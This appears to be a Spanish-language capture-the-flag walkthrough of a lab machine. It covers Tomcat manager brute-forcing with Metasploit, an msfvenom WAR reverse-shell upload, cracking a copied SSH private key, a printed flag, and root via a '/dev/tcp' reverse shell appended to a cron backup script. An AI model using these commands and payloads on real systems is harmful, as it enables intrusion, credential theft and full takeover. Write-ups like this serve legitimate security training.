Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 03:43 EDT
Nmap scan report for 192.168.195.141
Host is up (0.00043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8c:19:ab:91:72:a5:71:d8:6d:75:1d:8f:65:df:e1:32 (RSA)
| 256 90:6e:a0:ee:d5:29:6c:b9:7b:05:db:c6:82:5c:19:bf (ECDSA)
|_ 256 54:4d:7b:e8:f9:7f:21:34:3e:ed:0f:d9:fe:93:bf:00 (ED25519)
8080/tcp open http Apache Tomcat 9.0.52
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.52
MAC Address: 00:0C:29:0A:DB:1A (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.43 ms 192.168.195.141
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.59 seconds
Encontramos un tomcat con pocas ubicaciones que sean interesantes...
En la ubicacion de /manager/ hay un panel de login, probaremos fuerza bruta...
msfconsole
msfconsole -q
use auxiliary/scanner/http/tomcat_mgr_login
show options
#Dentro de las opciones
set RHOSTS <IP>
run
Info:
[!] No active DB -- Credential data will not be saved!
[+] 192.168.195.141:8080 - Login Successful: tomcat:role1
Probara muchas credenciales y entre ellas, habra una con la que funcione...
User = tomcat
Password = role1
Una vez dentro del panel de administrador, vamos a tener que hacer una Reverse Shell haciendo lo siguiente...
Desde nuestro host creamos un archivo malicioso con el formato que admite tomcat.war para luego subirlo y ejecutarlo...
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war -o reverse.war
Una vez creado este archivo lo subimos desde el panel del tomcat y lo ejecutamos entrando dentro del mismo estando a la escucha...
nc -lvnp <PORT>
Hecho esto estariamos dentro con una shell rara, por lo que la sanitizamos...
/bin/bash
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Si nos vamos a /home/ vemos una carpeta llamada thales dentro de ella encontramos un .ssh/ por lo que nos copiamos el id_rsa privado a nuestro host por lo que haremos lo siguiente...
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
vodka06 (id_rsa)
1g 0:00:00:03 DONE (2024-05-21 05:55) 0.2770g/s 792195p/s 792195c/s 792195C/s vodka1420..vodka0260
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
credentials:
user = thales
password = vodka06
Con esto ya seriamos el siguiente usuario...
Leemos la flag...
user.txt (flag1)
a837c0b5d2a8a07225fd9905f5a0e9c4
id
#Resultado
uid=1000(thales) gid=1000(thales) groups=1000(thales),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
Si vemos los logs de los crontabs que se estan ejecutando, veremos que hay un crontab ejecutandose cada x tiempo el .sh, por lo que haremos lo siguiente...
grep CRON /var/log/syslog
May 22 09:45:01 miletus CRON[3139]: (root) CMD (bash /usr/local/bin/backup.sh)
Añadimos al backup.sh una Reverse Shell...
#Dentro del backup.sh
sh -i >& /dev/tcp/<IP>/<PORT> 0>&1
nc -lvnp <PORT>
Y hay que esperar un rato hasta que lo ejecute el servidor, una vez se ejecute seriamos root...